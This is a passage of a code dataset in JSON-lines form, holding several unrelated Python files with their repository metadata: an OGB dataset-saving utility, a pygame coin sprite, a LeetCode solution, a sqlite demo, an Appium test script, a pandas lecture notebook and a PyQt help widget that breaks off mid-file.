self.has_node_attr = ('node_feat_dict' in graph_list[0]) and (graph_list[0]['node_feat_dict'] is not None)\n self.has_edge_attr = ('edge_feat_dict' in graph_list[0]) and (graph_list[0]['edge_feat_dict'] is not None)\n else:\n self._save_graph_list_homo(graph_list)\n self.has_node_attr = ('node_feat' in graph_list[0]) and (graph_list[0]['node_feat'] is not None)\n self.has_edge_attr = ('edge_feat' in graph_list[0]) and (graph_list[0]['edge_feat'] is not None)\n\n # later used for checking the shape of target_label\n if self.dataset_prefix == 'ogbg':\n self.num_data = len(graph_list) # number of graphs\n elif self.dataset_prefix == 'ogbn':\n if self.is_hetero:\n self.num_data = graph_list[0]['num_nodes_dict'] # number of nodes\n else:\n self.num_data = graph_list[0]['num_nodes'] # number of nodes\n else:\n self.num_data = None\n\n self._save_graph_list_done = True\n\n def save_split(self, split_dict, split_name):\n '''\n Save dataset split\n split_dict: must contain three keys: 'train', 'valid', 'test', where the values are the split indices stored in numpy.\n split_name (str): the name of the split\n '''\n\n self.split_dir = osp.join(self.dataset_dir, 'split', split_name)\n os.makedirs(self.split_dir, exist_ok=True)\n \n # verify input\n if not 'train' in split_dict:\n raise ValueError('\\'train\\' needs to be given in save_split')\n if not 'valid' in split_dict:\n raise ValueError('\\'valid\\' needs to be given in save_split')\n if not 'test' in split_dict:\n raise ValueError('\\'test\\' needs to be given in save_split')\n\n if not all_numpy(split_dict):\n raise RuntimeError('split_dict must only contain list/dict of numpy arrays, int, or float')\n\n ## directly save split_dict\n ## compatible with ogb>=v1.2.3\n torch.save(split_dict, osp.join(self.split_dir, 'split_dict.pt'))\n\n self.split_name = split_name\n self._save_split_done = True\n\n def copy_mapping_dir(self, mapping_dir):\n target_mapping_dir = osp.join(self.dataset_dir, 'mapping')\n os.makedirs(target_mapping_dir, exist_ok=True)\n file_list = [f for f in os.listdir(mapping_dir) if osp.isfile(osp.join(mapping_dir, f))]\n if 'README.md' not in file_list:\n raise RuntimeError(f'README.md must be included in mapping_dir {mapping_dir}')\n\n # copy all the files in the mapping_dir to \n for f in file_list:\n shutil.copyfile(osp.join(mapping_dir, f), osp.join(target_mapping_dir, f))\n\n self._copy_mapping_dir_done = True\n\n def get_meta_dict(self):\n '''\n output:\n meta_dict: a dictionary that stores meta-information about data, which can be directly passed to OGB dataset object.\n Useful for debugging.\n '''\n\n # check everything is done before getting meta_dict\n if not self._save_graph_list_done:\n raise RuntimeError('save_graph_list not completed.')\n if not self._save_split_done:\n raise RuntimeError('save_split not completed.')\n if not self._copy_mapping_dir_done:\n raise RuntimeError('copy_mapping_dir not completed.')\n if not self._save_target_labels_done:\n raise RuntimeError('save_target_labels not completed.')\n if not self._save_task_info_done:\n raise RuntimeError('save_task_info not completed.')\n\n meta_dict = {'version': self.version, 'dir_path': self.dataset_dir, 'binary': 'True'}\n \n if not self.dataset_prefix == 'ogbl':\n meta_dict['num tasks'] = self.num_tasks\n meta_dict['num classes'] = self.num_classes\n\n meta_dict['task type'] = self.task_type\n\n meta_dict['eval metric'] = self.eval_metric\n\n meta_dict['add_inverse_edge'] = 'False'\n meta_dict['split'] = self.split_name\n meta_dict['download_name'] = self.dataset_suffix\n \n map_dict = {'ogbg': 'graphproppred', 'ogbn': 'nodeproppred', 'ogbl': 'linkproppred'}\n meta_dict['url'] = f'https://snap.stanford.edu/ogb/data/{map_dict[self.dataset_prefix]}/' + meta_dict['download_name'] + '.zip'\n meta_dict['add_inverse_edge'] = 'False'\n meta_dict['has_node_attr'] = str(self.has_node_attr)\n meta_dict['has_edge_attr'] = str(self.has_edge_attr)\n meta_dict['additional node files'] = 'None'\n meta_dict['additional edge files'] = 'None'\n meta_dict['is hetero'] = str(self.is_hetero)\n\n # save meta-dict for submission\n torch.save(meta_dict, self.meta_dict_path)\n\n self._get_meta_dict_done = 'True'\n\n return meta_dict\n\n\n def zip(self):\n # check everything is done before zipping\n if not self._save_graph_list_done:\n raise RuntimeError('save_graph_list not completed.')\n if not self._save_split_done:\n raise RuntimeError('save_split not completed.')\n if not self._copy_mapping_dir_done:\n raise RuntimeError('copy_mapping_dir not completed.')\n if not self._save_target_labels_done:\n raise RuntimeError('save_target_labels not completed.')\n if not self._save_task_info_done:\n raise RuntimeError('save_task_info not completed.')\n if not self._get_meta_dict_done:\n raise RuntimeError('get_meta_dict not completed.')\n\n shutil.make_archive(self.dataset_dir, 'zip', self.dataset_dir)\n self._zip_done = True\n\n def cleanup(self):\n if self._zip_done:\n try:\n shutil.rmtree(self.dataset_dir)\n except FileNotFoundError:\n print('Files already deleted.')\n else:\n raise RuntimeError('Clean up after calling zip()')\n \n\ndef test_datasetsaver():\n # test on graph classification\n # ogbg-molhiv\n\n test_task = 'link'\n \n # testing all the dataset objects are working.\n if test_task == 'graph':\n from ogb.graphproppred import PygGraphPropPredDataset, DglGraphPropPredDataset,GraphPropPredDataset\n dataset_name = 'ogbg-molhiv'\n dataset = PygGraphPropPredDataset(dataset_name)\n dataset.get_idx_split()\n dataset = DglGraphPropPredDataset(dataset_name)\n dataset.get_idx_split()\n dataset = GraphPropPredDataset(dataset_name)\n dataset.get_idx_split()\n elif test_task == 'node':\n from ogb.nodeproppred import NodePropPredDataset, PygNodePropPredDataset, DglNodePropPredDataset\n dataset_name = 'ogbn-arxiv' # test ogbn-proteins\n dataset = PygNodePropPredDataset(dataset_name)\n dataset.get_idx_split()\n dataset = DglNodePropPredDataset(dataset_name)\n dataset.get_idx_split()\n dataset = NodePropPredDataset(dataset_name)\n dataset.get_idx_split()\n elif test_task == 'link':\n from ogb.linkproppred import LinkPropPredDataset, PygLinkPropPredDataset, DglLinkPropPredDataset\n dataset_name = 'ogbl-collab'\n dataset = PygLinkPropPredDataset(dataset_name)\n dataset.get_edge_split()\n dataset = DglLinkPropPredDataset(dataset_name)\n dataset.get_edge_split()\n dataset = LinkPropPredDataset(dataset_name)\n dataset.get_edge_split()\n elif test_task == 'heteronode':\n from ogb.nodeproppred import NodePropPredDataset, PygNodePropPredDataset, DglNodePropPredDataset\n dataset_name = 'ogbn-mag'\n dataset = PygNodePropPredDataset(dataset_name)\n dataset.get_idx_split()\n dataset = DglNodePropPredDataset(dataset_name)\n dataset.get_idx_split()\n dataset = NodePropPredDataset(dataset_name)\n dataset.get_idx_split()\n elif test_task == 'heterolink':\n from ogb.linkproppred import LinkPropPredDataset, PygLinkPropPredDataset, DglLinkPropPredDataset\n dataset_name = 'ogbl-biokg'\n dataset = PygLinkPropPredDataset(dataset_name)\n dataset.get_edge_split()\n dataset = DglLinkPropPredDataset(dataset_name)\n dataset.get_edge_split()\n dataset = LinkPropPredDataset(dataset_name)\n dataset.get_edge_split()\n else:\n raise ValueError('Invalid task category')\n\n print(dataset[0])\n if 'link' in test_task:\n print(dataset.get_edge_split())\n else:\n print(dataset.get_idx_split())\n \n if 'graph' in test_task:\n graph_list = dataset.graphs\n else:\n graph_list = [dataset.graph]\n\n if 'link' not in test_task:\n labels = dataset.labels\n\n is_hetero = 'hetero' in test_task\n version = 2 if dataset_name == 'ogbn-mag' else 1\n saver = DatasetSaver(dataset_name, is_hetero, version=version)\n\n # saving graph objects\n saver.save_graph_list(graph_list)\n # saving target labels\n if 'link' not in test_task:\n saver.save_target_labels(labels)\n # saving split\n if 'link' in test_task:\n split_idx = dataset.get_edge_split()\n else:\n split_idx = dataset.get_idx_split()\n # second argument must be the name of the split\n saver.save_split(split_idx, dataset.meta_info['split'])\n # copying mapping dir\n saver.copy_mapping_dir(f\"dataset/{'_'.join(dataset_name.split('-'))}/mapping/\")\n\n saver.save_task_info(dataset.task_type, dataset.eval_metric, dataset.num_classes if hasattr(dataset, 'num_classes') else None)\n\n meta_dict = saver.get_meta_dict()\n\n print(meta_dict)\n\n print('Now testing.')\n\n if 'graph' in test_task:\n print('library agnostic')\n dataset = GraphPropPredDataset(dataset_name, meta_dict = meta_dict)\n dataset = GraphPropPredDataset(dataset_name, meta_dict = meta_dict)\n print(dataset[0])\n print(dataset.get_idx_split())\n print('Pytorch Geometric')\n dataset = PygGraphPropPredDataset(dataset_name, meta_dict = meta_dict)\n dataset = PygGraphPropPredDataset(dataset_name, meta_dict = meta_dict)\n print(dataset[0])\n print(dataset.get_idx_split())\n print('DGL')\n dataset = DglGraphPropPredDataset(dataset_name, meta_dict = meta_dict)\n dataset = DglGraphPropPredDataset(dataset_name, meta_dict = meta_dict)\n print(dataset[0])\n print(dataset.get_idx_split())\n elif 'node' in test_task:\n print('library agnostic')\n dataset = NodePropPredDataset(dataset_name, meta_dict = meta_dict)\n dataset = NodePropPredDataset(dataset_name, meta_dict = meta_dict)\n print(dataset[0])\n print(dataset.get_idx_split())\n print('Pytorch Geometric')\n dataset = PygNodePropPredDataset(dataset_name, meta_dict = meta_dict)\n dataset = PygNodePropPredDataset(dataset_name, meta_dict = meta_dict)\n print(dataset[0])\n print(dataset.get_idx_split())\n print('DGL')\n dataset = DglNodePropPredDataset(dataset_name, meta_dict = meta_dict)\n dataset = DglNodePropPredDataset(dataset_name, meta_dict = meta_dict)\n print(dataset[0])\n print(dataset.get_idx_split())\n\n elif 'link' in test_task:\n print('library agnostic')\n dataset = LinkPropPredDataset(dataset_name, meta_dict = meta_dict)\n dataset = LinkPropPredDataset(dataset_name, meta_dict = meta_dict)\n print(dataset[0])\n # print(dataset.get_edge_split())\n print('Pytorch Geometric')\n dataset = PygLinkPropPredDataset(dataset_name, meta_dict = meta_dict)\n dataset = PygLinkPropPredDataset(dataset_name, meta_dict = meta_dict)\n print(dataset[0])\n # print(dataset.get_edge_split())\n print('DGL')\n dataset = DglLinkPropPredDataset(dataset_name, meta_dict = meta_dict)\n dataset = DglLinkPropPredDataset(dataset_name, meta_dict = meta_dict)\n print(dataset[0])\n # print(dataset.get_edge_split())\n else:\n raise ValueError('Invalid task category')\n\n\n # zip\n saver.zip()\n print('Finished zipping!')\n\n saver.cleanup()\n\n\nif __name__ == '__main__':\n test_datasetsaver()\n\n","repo_name":"snap-stanford/ogb","sub_path":"ogb/io/save_dataset.py","file_name":"save_dataset.py","file_ext":"py","file_size_in_byte":28891,"program_lang":"python","lang":"en","doc_type":"code","stars":1783,"dataset":"github-code","pt":"70"} +{"seq_id":"14697303766","text":"import pygame\nfrom load_image import load_image\n\n\nclass Coin(pygame.sprite.Sprite):\n \"\"\"Монета - игровая валюта\"\"\"\n def __init__(self, pos_x, pos_y, hero):\n super().__init__()\n self.image = pygame.transform.scale(load_image(\n \"./tiles/coin.jpg\", -1), (50, 50))\n self.mask = pygame.mask.from_surface(self.image)\n self.rect = self.image.get_rect()\n self.rect.x, self.rect.y = pos_x * 50, pos_y * 50\n self.hero = hero\n\n def update(self, *args):\n \"\"\"\"Проверка положения игрока - собрал ли игрок монету\"\"\"\n if pygame.sprite.collide_mask(self, self.hero):\n self.hero.coins += 10\n pygame.mixer.Sound('./data/sounds/Coin.wav').play()\n self.kill()\n","repo_name":"Naruto-sys/Welcome-to-hell","sub_path":"Coin.py","file_name":"Coin.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"9665930374","text":"class Solution:\n def reverseVowels(self, s: str) -> str:\n vowels = set(\"aeiouAEIOU\")\n s = list(s)\n pointer1 = 0\n pointer2 = len(s) - 1\n while pointer1 < pointer2:\n if s[pointer1] in vowels and s[pointer2] in vowels:\n s[pointer1], s[pointer2] = s[pointer2], s[pointer1]\n elif s[pointer1] not in vowels:\n pointer1 += 1\n continue\n elif s[pointer2] not in vowels:\n pointer2 -= 1\n continue\n pointer1 += 1\n pointer2 -= 1\n return ''.join(s)","repo_name":"MorgueMorg/Morg-LeetCode","sub_path":"ReverseVowelsOfaString/ReverseVowels.py","file_name":"ReverseVowels.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"70"} +{"seq_id":"42764995027","text":"import os\nfrom selenium import webdriver\n\n# Returns abs path relative to this file and not cwd\nPATH = lambda p: os.path.abspath(\n\tos.path.join(os.path.dirname(__file__), p)\n)\n\ndesired_caps = {}\ndesired_caps['device'] = 'Android'\ndesired_caps['browserName'] = ''\ndesired_caps['version'] = '4.2.2'\ndesired_caps['app'] = PATH('C:\\\\Users\\\\123\\Desktop\\ContactManager.apk')\ndesired_caps['app-package'] = 'com.example.android.contactManager'\ndesired_caps['app-activity'] = '.ContactManager'\n\ndriver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)\n\nel = driver.find_element_by_name(\"Add Contact\")\nel.click()\n\ntextfields = driver.find_elements_by_tag_name(\"textfield\")\ntextfields[0].send_keys(\"My Name\")\ntextfields[2].send_keys(\"someone@somewhere.com\")\n\ndriver.find_element_by_name(\"Save\").click()\n\ndriver.quit()","repo_name":"yusheng88/HelloWorld","sub_path":"xuexi/jiaoben/zidong.py","file_name":"zidong.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"15141449588","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # P07: Pandas Series and DataFrames\n\n# ## Quick review of modules\n# \n# [pypi.org](pypi.org) has 324k packages. From web servers, to machine learning frameworks, to video games, to bitcoin wallets, to recipe managers, to astronomy databases, etc.\n# \n# There are millions of different classes, functions, constants, in these packages.\n# \n# 1. we can't load them all in memory\n# \n# 2. we can't ask someone writing the next python library to do X to check all other previous libraries to make sure no one has used the class names they have in mind.\n# \n# Modules create namespaces, and modules manage what is loaded into memory.\n\n# In[1]:\n\n\n# import numpy as np, then use np.method to interface with methods\nimport numpy as np\n\n\n# In[2]:\n\n\nnp.mean([9,4,5])\n\n\n# In[3]:\n\n\n# import certain functions from a module\nfrom statistics import stdev\n\n\n# In[4]:\n\n\nstdev([9,4,5])\n\n\n# ## Import Pandas!\n# \n# * DataFrames are an excellent choice if you're dealing with mixed data types\n# * Think of them as excel spreadsheets - can have columns of numbers, strings, etc\n# * Powerful built in methods for summarizing and analyzing data\n# * Powerful built in methods for cleaning data (removing outliers, missing values, and so forth)\n# * When importing pandas, always use `pd` unless you have a good reason to do otherwise\n\n# ### Pandas Series\n# \n# [Pandas quick start guide for Series](https://pandas.pydata.org/pandas-docs/stable/dsintro.html#series)\n# \n# * A **Series** is a 1D array that can hold any type of data (numeric types, non-numeric, Python objects and so forth). Think excel spreadsheet with one column. \n# * Each entry is **labeled** with an index that is used to keep track of what each entry is, and the label can be used to lookup the value corresponding to each index during analysis (remember keys in dictionaries? similar idea)\n# * These labels are fixed - they will always index the same value unless you explicitly break that link.\n# * The list of labels that forms the index can either be declared upon series creation or, by default, it will range from 0 to len(data)-1.\n# * If you're going to use Pandas to organize your data, specifying usable and informative labels is a good idea because that's one of the main advantages over other data types like lists\n\n# ### Pandas DataFrames\n# \n# [Pandas quick start guide for DataFrames](https://pandas.pydata.org/pandas-docs/stable/dsintro.html#dataframe)\n# \n# * A DataFrame (DF) is a labeled data struture that can be thought of as a 2D extension of the Series objects (think excel spreadsheet with more than one column)\n# * A dataframe can accept many types of input, multiple Series, a dictionary of 1D arrays, another DF, etc.\n# * Like a Series, DFs contain data values and their corresponding labels. However, because we're now dealing with a 2D structure, we call the **row labels the index argument** and the **column labels the column argument**. \n\n# In[5]:\n\n\nimport pandas as pd\n\n\n# ### Why tabular data?\n# * Suppose you want to store and analyze data about multiple attributes/variables like the height and weight of different people\n# * We could make three lists: one for the names, one for the heights, and one for the weights\n# * Then when we analyze the data, we'd know that `names[0]` corresponds to `heights[0]` and `weights[0]`...but that is pretty clunky and hard to keep track of...\n\n# In[6]:\n\n\nnames = ['john', 'sourabh', 'purva', 'pulkit','panayu']\nheights = [68, 70, 67, 72, 64]\nweight = [180, 170, 150, 200, 145]\n\n\n# In[7]:\n\n\nprint(f'Name: {names[0]}, Height: {heights[0]}, Weight {weight[0]}')\n\n\n# ### A much more effecient approach is to store all of our data in a single dataframe\n# * This will allow us to easily access all attributes associated with each person via the index arguments\n# * And each attribute will be stored as a single pandas series (column) in the resulting dataframe\n\n# In[8]:\n\n\ndf = pd.DataFrame({'name':names, \n 'height':heights, \n 'weight': weight})\n\n\n# In[9]:\n\n\ndf\n\n\n# ### A (potentially) more useful way\n# * Note that pandas generated a default list of row labels that go from 0:N-1 where N is the number of rows\n# * However, we can also specify more useful row names using the `index` keyword upon dataframe creation \n\n# In[10]:\n\n\ndf = pd.DataFrame({'height':heights, \n 'weight': weight}, index=names)\n\n\n# In[11]:\n\n\ndf\n\n\n# ## Basic indexing: Columns\n# * First do it using the column names\n# * This works much like you use keys to index into a dictionary\n# * Notice that the index arguments (row labels) stay 'attached' to the column that we ask for...\n\n# In[12]:\n\n\ndf['height']\n\n\n# In[13]:\n\n\n# weight of just the first two people...\ndf['weight'][0:2]\n\n\n# ### Can index using the `.field` syntax\n\n# In[14]:\n\n\ndf.height[0:2]\n\n\n# In[15]:\n\n\n# reverse (just like with a list...)\ndf.weight[::-1]\n\n\n# ## Basic Indexing: Rows\n# * Can also index based on row labels\n# * This is a bit more complex as there are several methods that make use of either the actual label or the order of entry in the dataframe...\n# * Use df.loc to select a row by its label name\n# * Contrary to usual slicing conventions with lists, both the start and the stop indices are included when using the DF.LOC option...see below for demo. This makes sense because you're indexing by label name, not by a zero-based integer index. \n# * Use df.iloc to select a row by its integer location (from 0 to length-1 of the axis)\n# * You can use booleans to select a set of rows that satisfy some condition (logical indexing)\n\n# In[16]:\n\n\n# index by row label\ndf.loc['john':'pulkit']\n\n\n# In[17]:\n\n\n# but this won't return anything because pulkit comes after john...\ndf.loc['pulkit':'john']\n\n\n# ### `iloc`\n# * index by position in dataframe - works just like normal indexing of a list/tuple\n\n# In[18]:\n\n\n# first three people\ndf.iloc[0:3]\n\n\n# In[19]:\n\n\n# reverse...\ndf.iloc[::-1]\n\n\n# ## Loading csv files using `read_csv()`\n# \n# * Here we will use the mcd-menu.csv file to create a dataframe, which you can download here:\n# \n# * [mcd-menu.csv](https://github.com/UCSD-CSS-001/ucsd-css-001.github.io/tree/main/datasets)\n# \n# * Can also find file on slack and on canvas\n# \n# * Note that here, I am intentionally using default indices (the numbers 0:N-1) so we don't have to do so much typing...you'll see. \n\n# In[20]:\n\n\nmcd = pd.read_csv('mcd-menu.csv')\n\n\n# In[21]:\n\n\nmcd\n\n\n# ## DataFrame operations\n\n# ### Get basic information about the shape of the dataframe and the contents\n\n# In[22]:\n\n\n# shape - rows by columns, so 260 rows, and 24 columns of data per row\nmcd.shape\n\n\n# In[23]:\n\n\n# turn the column names into a list...\nlist(mcd.columns)\n\n# can also do: list(mcd.index) but the index is just default numbers here so not super interesting. \n\n\n# ### head and tail\n# * see the first few rows of dataframe (`head`) or the last few (`tail`)\n# * `head` and `tail` also take optional inputs to specify exactly how many rows you want to view\n# * this is super useful to do when you first create a dataframe to make sure that everything looks right...\n\n# In[24]:\n\n\n# first 3 rows\nmcd.head(3)\n\n\n# In[25]:\n\n\n# last 5 rows..\nmcd.tail(5)\n\n\n# ### Selecting columns - can do just like with out simpler dataframe example above...\n# * use column names...\n\n# In[26]:\n\n\nmcd['Calories']\n\n\n# In[27]:\n\n\n# multiple columns - can be non-contiguous\nmcd[['Calories', 'Saturated Fat']]\n\n\n# ### Selecting rows by position\n# * can also select by row label using `.loc` as described above, but since we're using numerial index labels here it makes sense to use `.iloc`\n\n# In[28]:\n\n\n# first two rows...\nmcd.iloc[0:2]\n\n\n# ### Selecting cells\n# * above we selected into specific columns and or rows. \n# * we can also select a subset of rows from a specific column, etc...\n\n# In[29]:\n\n\n# print out a few rows so we can see the column names...\nmcd.head(2)\n\n\n# In[30]:\n\n\n# this will give us the first entry in the 'Calories' column\nmcd['Calories'].iloc[0:10]\n\n\n# In[31]:\n\n\n# shorthand for above...can leave off the explicit .iloc\nmcd['Calories'][0]\n\n\n# ## Getting subset of rows and colums\n# * If asking for a non-contiguous set of columns, we can pass in a list defined with `[]`\n# * If asking for a contiguous set of columns, we can use `:`\n# * Note: need to be super careful using `.loc` (e.g., if you sorted the dataframe, then the following code would return all rows between the one labeled 0 and the one labeled 10...and if they are not in ascending order anymore then that might give you something unexpected!)\n\n# In[32]:\n\n\n# first 10 rows, Calories and Total Fat columns\n# index + name\nmcd.loc[0:10, ['Calories','Total Fat']]\n\n\n# In[33]:\n\n\n# first 10 rows, all columns between 'Calories' and 'Total Fat'\nmcd.loc[0:10, 'Calories':'Total Fat']\n\n\n# ## Filtering rows via logical indexing\n# * logical indexing (boolean indexing) will filter dataframes based on whether certain conditions are met\n# * we did some of this with lists, and the concepts are the same, but it can get a little more complex because now we're dealing with larger and multi-dimensional data sets. \n# * start by filtering the dataframe based on the values of entries in a specific row. \n\n# In[34]:\n\n\n# return a version of the dataframe with just rows\n# where 'Calories' are greater than 1000\nmcd[ mcd['Calories'] >= 1000 ]\n\n\n# In[35]:\n\n\n# return a version of the dataframe with just rows\n# where 'Total Fat' is greater than or equal to 40\n\n# if we want to store the output of this filtering operation\n# we need to assign the output (LHS)\nfat40 = mcd[ mcd['Total Fat'] >= 40 ]\nfat40.head(10)\n\n\n# ### This also works on non-numerical categories...\n\n# In[36]:\n\n\nmcd[ mcd['Category'] == 'Breakfast' ]\n\n\n# ### And we chain together multiple conditions as well...\n# * Example: all entries where Category is Breakfast, Calories greater than 300, and Calories less than 500\n\n# In[37]:\n\n\nmcd[ (mcd['Category'] == 'Breakfast') & \n (mcd['Calories'] > 300) & \n (mcd['Calories'] < 500) ]\n\n\n# ### How does this work? \n# * If we take a look at the filtering conditionals, they will determine all rows where the given condition is met\n# * If they are met, you'll get a `True` value returned, and if they are not met, you'll get a `False` value returned...\n# * Take a look if we just specify the conditionals...\n# * Note that the length of the output matches the length of our dataframe (the number of rows)...i.e., every row has either a `True` or a `False`\n\n# In[38]:\n\n\n(mcd['Category'] == 'Breakfast') & (mcd['Calories'] > 300)\n\n\n# In[39]:\n\n\n# now lets assign this list of booleans to another variable\nindex = (mcd['Category'] == 'Breakfast') & (mcd['Calories'] > 300)\n\n\n# In[40]:\n\n\n# and by substitution, we get...\nmcd [ index ]\n\n\n# ## Review of logical indexing...\n# * make conjunctions by combining arrays of logical values with & (and operations)\n# * make disjunctions with | (or operations)\n# * and we need to put comparison operations in () before combining\n\n# ## Other handy methods...\n\n# ### Basic math operations...\n# * describe is a handy way to get summary stats...\n# * mean, std, etc...\n\n# In[41]:\n\n\nmcd.describe()\n\n\n# In[42]:\n\n\n# mean Calories...\nmcd.Calories.mean()\n\n# or\n# mcd['Calories'].mean()\n\n\n# In[43]:\n\n\n# standard deviation\nmcd.Calories.std()\n\n\n# ### Sorting entire dataframe based on values in one column\n# * here we can easily find the menu item with the fewest calories\n# * sort by the 'Calories' column, then pull out the name of the item\n# * default behavior is to not sort in place, so we need to reassign!\n\n# In[44]:\n\n\n# sort - ascending order by default\nmcd.sort_values('Calories')\n\n\n# In[45]:\n\n\n# descending order (ascending = False)\nmcd.sort_values('Calories', ascending = False)\n\n\n# ### Chaining together methods\n# * Possible to apply multiple methods in one line of code...\n# * Careful here...can be super effecient and compact, but you can get carried away and make your code really confusing and hard to understand (even to yourself!)\n\n# In[46]:\n\n\n# sort and then display the last three rows\nmcd.sort_values('Total Fat').tail(3)\n\n\n# In[47]:\n\n\n# another way to achieve the same outcome...\nmcd.sort_values('Total Fat').iloc[-3:]\n\n\n# In[48]:\n\n\n# three highest fat items in descending order\nmcd.sort_values('Total Fat', ascending = False).iloc[:3]\n\n\n# ## Solving simple tasks - examples\n# \n# ### Find the breakfast menu item with the fewest calories\n\n# In[49]:\n\n\nmcd[ mcd['Category'] == 'Breakfast'].sort_values('Calories').head(1)\n\n\n# ### Find the highest john_index food\n# \n# * often times we're asked to filter data based on some parameters (e.g., marketing tells you to define some index and find all items that fall into that category). \n# \n# * define some index: `john_index = 12*(protein grams + fiber grams)/calories`\n# * make it a new column in our dataframe...then we can sort by it (or filter by it)\n# * All we have to do to make a new column is give it a name and give it some values - just like we can make new `key:value` pairs in a dictionary...\n\n# In[50]:\n\n\n# this will define a new column on the fly and compute the john-index\nmcd['john_index'] = 12 * (mcd['Protein'] + mcd['Dietary Fiber'])/mcd['Calories']\n\n\n# ### Note the resulting column has some funny stuff in it!\n\n# In[51]:\n\n\nmcd['john_index'].unique()\n\n\n# ### Why? \n# * `inf` == infinity...happens when you divide by zero!\n# * for Diet Dr. Pepper, john_index == (1 + 0) / 0\n# * `nan` == not-a-number...happens when the thing you try to do isn't a number (like 0/0)\n# * for Coffee and Tea, john_index == (0 + 0) / 0\n\n# In[52]:\n\n\nmcd.head(2)\n\n\n# In[53]:\n\n\n# import numpy for np.isinf() to weed out the inf entries\nimport numpy as np\n\n\n# In[54]:\n\n\n(mcd [ ~ mcd['john_index'].isna() & ~np.isinf(mcd['john_index'])]\n .sort_values('john_index', ascending=False) )\n\n\n# ### Alternate approach using `.replace()`\n# * can also directly replace nan/infs with other values\n\n# In[55]:\n\n\nmcd['john_index'].replace(np.nan, 0).unique()\n\n\n# In[56]:\n\n\nmcd['john_index'].replace(np.inf, 0).unique()\n\n\n# ### Or you can fill missing values using fillna...\n# * For example, can replace all nans with the mean of all other values...\n\n# In[57]:\n\n\nmcd['john_index'].fillna(mcd['john_index'].mean()).unique()\n# remember you need to overwrite mcd or make a new dataframe in order for these changes to 'stick'\n\n\n# In[58]:\n\n\n(mcd[mcd['Calories'] > 0]\n.sort_values('john_index', ascending = False)\n.head(1))\n\n","repo_name":"UCSD-CSS-001/ucsd-css-001.github.io","sub_path":"_build/jupyter_execute/lectures/P07-Pandas.py","file_name":"P07-Pandas.py","file_ext":"py","file_size_in_byte":14400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"22612574966","text":"# DemoDB.py \nimport sqlite3\n\n#파일을 먼저 생성(일단은 메모리에서 미리 연습)\n#데이터베이스 파일에 영구적으로 저장\ncon = sqlite3.connect(\"c:\\\\work\\\\sample.db\")\n#SQL구문을 실행할 커서 객체 생성\ncur = con.cursor() \n#데이터 구조 만들기(테이블 스키마)\ncur.execute(\"create table PhoneBook (Name text, PhoneNum text);\")\n#1건 입력\ncur.execute(\"insert into PhoneBook values ('derick', '010-111');\")\n#입력 파라메터 처리\ncur.execute(\"insert into PhoneBook values (?, ?);\", (\"길동\",\"010-222\") )\n#N건 입력하기(2차원 행열 데이터)\ndatalist = ((\"우치\",\"010-123\"), (\"순신\",\"010-456\")) \ncur.executemany(\"insert into PhoneBook values (?, ?);\", datalist )\n\n#결과 검색\ncur.execute(\"select * from PhoneBook;\")\nprint(\"---fetchone()---\")\nprint( cur.fetchone() )\nprint(\"---fetchmany(2)---\")\nprint( cur.fetchmany(2) )\nprint(\"---fetchall()---\")\ncur.execute(\"select * from PhoneBook;\")\nprint( cur.fetchall() )\n# for row in cur:\n# print(row)\n\n#정상적으로 작업 완료(수동으로 커밋을 호출~~ )\ncon.commit() \n\n\n","repo_name":"papasmf1/python1018","sub_path":"DemoDB2.py","file_name":"DemoDB2.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"10890886437","text":"# -*- coding: utf-8 -*-\nfrom PyQt6.QtCore import Qt\nfrom PyQt6.QtGui import QFontMetrics, QTextDocument\nfrom PyQt6.QtWidgets import QFrame, QLabel, QFormLayout\n\nfrom src.constant.help.help_constant import TEXT_BROWSER_STYLE, MULTI_LINE_LABEL_STYLE\nfrom src.view.custom_widget.scrollable_widget import ScrollArea, ScrollableTextBrowser\n\n_author_ = 'luwt'\n_date_ = '2023/6/14 16:03'\n\n\nclass HelpWidgetABC(ScrollArea):\n\n def __init__(self):\n super().__init__()\n self.canvas_content_frame: QFrame = ...\n self.canvas_content_layout: QFormLayout = ...\n self.setup_ui()\n\n def setup_ui(self):\n # 画布,用来承载控件\n self.canvas_content_frame = QFrame()\n self.canvas_content_frame.setObjectName('help_canvas_content_frame')\n # 设置画布控件\n self.set_canvas_widget(self.canvas_content_frame)\n # 画布布局\n self.canvas_content_layout = QFormLayout(self.canvas_content_frame)\n\n # 添加内容\n self.add_content()\n\n self.canvas_content_layout.addWidget(QLabel())\n\n def add_content(self):\n ...\n\n def add_label(self, label_text):\n label = QLabel()\n label.setAlignment(Qt.AlignmentFlag.AlignTop)\n # 拼接上样式\n label.setText(f'{MULTI_LINE_LABEL_STYLE}

{label_text}

')\n # 自动换行\n label.setWordWrap(True)\n\n # 计算高度\n # 创建QTextDocument对象并设置字体和文本\n doc = QTextDocument()\n doc.setDefaultFont(label.font())\n doc.setHtml(label.text())\n\n # 获取文本所需的最小矩形大小\n # 将行宽设置为label的宽度\n doc.setTextWidth(label.width())\n size = doc.documentLayout().documentSize()\n\n # 计算框架的高度(文本加上行间距)\n font_metrics = QFontMetrics(label.font())\n height = size.height() + (font_metrics.leading() if size.height() > font_metrics.height() else 0)\n\n # 高度固定\n label.setFixedHeight(height)\n self.canvas_content_layout.addRow(label)\n\n def add_row_label(self, label_text, help_label_text):\n label = QLabel()\n label.setAlignment(Qt.AlignmentFlag.AlignTop)\n label.setObjectName('form_label')\n label.setText(label_text)\n help_label = QLabel()\n help_label.setAlignment(Qt.AlignmentFlag.AlignTop)\n help_label.setText(f'{MULTI_LINE_LABEL_STYLE}

{help_label_text}

